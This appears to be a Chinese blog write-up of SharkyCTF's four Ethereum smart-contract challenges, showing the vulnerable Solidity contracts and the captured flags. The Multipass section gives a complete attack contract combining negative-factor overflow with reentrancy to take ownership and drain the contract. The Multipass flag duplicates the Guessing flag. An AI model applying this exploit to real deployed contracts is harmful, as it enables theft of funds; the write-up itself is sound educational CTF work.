Vorder's blog

SharkyCTF 合约部分wp

字数统计: 909阅读时长: 4 min
2020/05/11 Share

近日空闲下来,尝试复现下ctf合约部分的一些题解,全当复习下以前所学知识

Ethereum

截止目前:题目链接

Warmup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity = 0.4.25;

contract Warmup {
bool public locked;

constructor() public payable {
locked = true;
}

function unlock() public payable {
require(msg.value == 0.005 ether);
locked = false;
}

function withdraw() public payable {
require(!locked);
msg.sender.call.value(address(this).balance)();
}
}

题目很简单,只要发送0.005 ether到目的合约就可以得到flag了

Logic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity = 0.4.25;

contract Logic {
address public owner;
bytes32 private passphrase = "th3 fl4g 1s n0t h3r3";

constructor() public payable {
owner = msg.sender;
}

function withdraw() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}

function claim(bytes32 _secret) public payable {
require(msg.value == 0.05 ether && _secret == passphrase);
owner = msg.sender;
}
}

第二题则是发送0.05 ether和th3 fl4g 1s n0t h3r3字符串的bytes32值,使用如下函数转换下,

1
2
3
4
5
6
7
8
9
10
11
12
contract string_test {
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}

assembly {
result := mload(add(source, 32))
}
}
}

2-2.jpg

或者直接翻阅etherscan上的记录

2-1.jpg

get flag : shkCTF{sh4m3_0n_y0u_l1ttl3_byt3_f0f6145540ea8c6ee8067c}

Guessing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity = 0.4.25;

contract Guessing {
address public owner;
bytes32 private passphrase;

constructor(bytes32 _passphrase) public payable {
owner = msg.sender;
passphrase = keccak256(abi.encodePacked(_passphrase));
}

function withdraw() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}

function claim(bytes32 _secret) public payable {
require(keccak256(abi.encodePacked(_secret)) == passphrase);
owner = msg.sender;
}
}

本题未直接给出passphrase值,但可以直接翻阅etherscan查看历史的传参记录,转换成string看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract bytes32ToString  {
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}

得到passphrase值,但本道传入为bytes32,所以直接填0x49276d2070723374747920737572332079307520627275743366307263336421就行
3-1.jpg
get flag:shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}

Multipass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity = 0.4.25;

contract Multipass {
address public owner;
uint256 public money;

mapping(address => int256) public contributions;

bool public withdrawn;

constructor() public payable {
contributions[msg.sender] = int256(msg.value * 900000000000000000000);
owner = msg.sender;
money = msg.value;
withdrawn = false;
}

function gift() public payable {
require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether);
contributions[msg.sender] = int256(msg.value) * 10;
money += msg.value;
}

function takeSomeMoney() public {
require(msg.sender == owner && withdrawn == false);
uint256 someMoney = money/20;
if(msg.sender.call.value(someMoney)()){
money -= someMoney;
}
withdrawn = true;
}

function contribute(int256 _factor) public {
require(contributions[msg.sender] != 0 && _factor < 10);
contributions[msg.sender] *= _factor;
}

function claimContract() public {
require(contributions[msg.sender] > contributions[owner]);
owner = msg.sender;
}
}

require(msg.sender == owner && withdrawn == false);需要满足这2个条件才能拿到flag

这2个条件都在默认创建合约那,再进一步可以通过claimContract来改变合约主人-》那先要充钱需要钱包大于合约主人才能替换

此时我们看这里 contribute,传入factor小于10但没限制要大于0,

require(contributions[msg.sender] != 0 && _factor < 10);

结合简单粗暴的将钱包值与输入值相乘,也就是说我们传入2次负值,最后乘成一个超大值来大过合约主。

contributions[msg.sender] *= _factor;

最后还要匿名函数回调下,一直重入让钱包数归零

1
2
3
4
if(msg.sender.call.value(someMoney)()){
money -= someMoney;
}
withdrawn = true;

按着上述思路,给出exp,(ps:start的时候注意填ether Value为0.00005,还有速度太感人了。还是自己手动加速gas来得快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
contract attack {    
address attacker;
address victim;
function attack() payable {attacker = msg.sender;}
function start(address _target) payable {
victim = _target;
victim.call.value(0.00005 ether)(bytes4(keccak256("gift()")));
victim.call(bytes4(keccak256("contribute(int256)")), -1000000000000);
victim.call(bytes4(keccak256("contribute(int256)")), -1000000000000);
victim.call(bytes4(keccak256("claimContract()")));
victim.call(bytes4(keccak256("takeSomeMoney()")));
}
function remove() {
if (msg.sender == attacker){
selfdestruct(attacker);
}
}
function () payable {
if (msg.sender == victim) {
victim.call(bytes4(keccak256("takeSomeMoney()")));
}
}
}

get flag:shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}

CATALOG
  1. 1. Ethereum
    1. 1.1. Warmup
    2. 1.2. Logic
    3. 1.3. Guessing
    4. 1.4. Multipass